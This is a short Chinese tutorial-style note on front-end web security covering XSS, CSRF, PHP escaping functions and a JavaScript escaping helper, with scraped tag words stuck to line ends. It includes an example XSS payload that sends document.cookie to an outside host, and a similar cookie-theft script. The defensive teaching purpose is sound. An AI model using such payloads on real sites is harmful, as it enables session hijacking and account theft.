(理解请看浅谈WEB安全性(前端向))
javascript
看过文章 对web安全有了理解。在针对这个课题,简单陈述。php
安全的问题大多数仍是依赖与后台的过滤和拦截措施。css
防范措施也就是编写前台代码时要避免的地方html
有两种常见的攻击方式前端
一、XSS:跨站脚本攻击java
xss也就是 cross site scriting攻击为了区分css缩写采用了xss缩写 跨站脚本攻击mysql
也就是javascript代码注入简单理解就是往他人web页面里插入恶意的script代码。web
b.com/search?name=
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>复制代码
对于XSS的预防天然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!sql
eval
、new Function
等执行字符串的方法,除非肯定字符串和用户输入无关二、CSRF:跨站请求伪造数据库
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。
其实就是网站中的一些提交行为,被黑客利用,在你访问黑客的网站的时候进行操做,会被操做到其余网站上
CSRF防护措施:
其余的一些攻击方法还有HTTP劫持、界面操做劫持
资源
如何过滤输入输出
(1)经过函数mysqli_real_escape_string()过滤对数据库有影响的字符串,避免sql注入。
(2)经过函数htmlspecialchars和htmlentities前者用来转义&,>,<等字符,后者是转义全部html标签,避免XSS攻击。
例如:<script>this.document = 某个网站地址?+this.cookie</script> 转义后会变成 <script>this.document = 某个网站地址?+this.cookie</script>
二、js过滤转义输入输出 要研究一下
前端转义(这个感受不是太好 输出的时候仍是要过来)
function
stringEncode(str){
var div=document.createElement('div');
if(div.innerText){
div.innerText=str;
}else{
div.textContent=str;//Support firefox
}
return div.innerHTML;
}